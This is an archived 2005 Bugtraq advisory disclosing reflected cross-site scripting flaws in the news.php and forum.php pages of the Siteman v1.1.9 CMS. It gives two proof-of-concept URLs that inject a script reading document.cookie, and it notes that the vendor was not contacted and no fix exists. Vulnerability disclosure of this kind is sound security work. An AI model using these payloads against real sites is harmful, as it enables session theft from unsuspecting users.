bugtraq - XSS Vulnerability in Siteman v1.1.9

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20050114220533.27414.qmail@www.securityfocus.com>
Date: 14 Jan 2005 22:05:33 -0000
From: Pedram hayati <pi3ch@...oo.com>
To: bugtraq@...urityfocus.com
Subject: XSS Vulnerability in Siteman v1.1.9




New XSS Vulnerability in Siteman v1.1.9,

Discovered by PersianHacker.NET Security Team
by Pi3cH (pi3ch yahoo com)
http://www.PersianHacker.NET

Siteman is a Content Management System (CMS) that is so easy to install and use, that a person who has no knowledge about creating homepages can get a profesionally looking website up and running in just minutes.

More info @ 
http://sitem.sourceforge.net/
http://sourceforge.net/projects/sitem/

Vulnerable:
XSS Vulnerability on news.php, forums.php

Examples:
http://host/forum.php?do=viewtopic&cat=1&topic=1&page=1?">&lt;script&gt;alert(document.cookie)&lt;/script&gt;
http://host/news.php?do=showone&id=1&page=1?">&lt;script&gt;alert(document.cookie)&lt;/script&gt;

Note:
Script authors  not contacted.
There is no solution at this time.

for patching this vulnerability you can read our XSS White paper in http://www.persianhacker.net (only in FARSI language)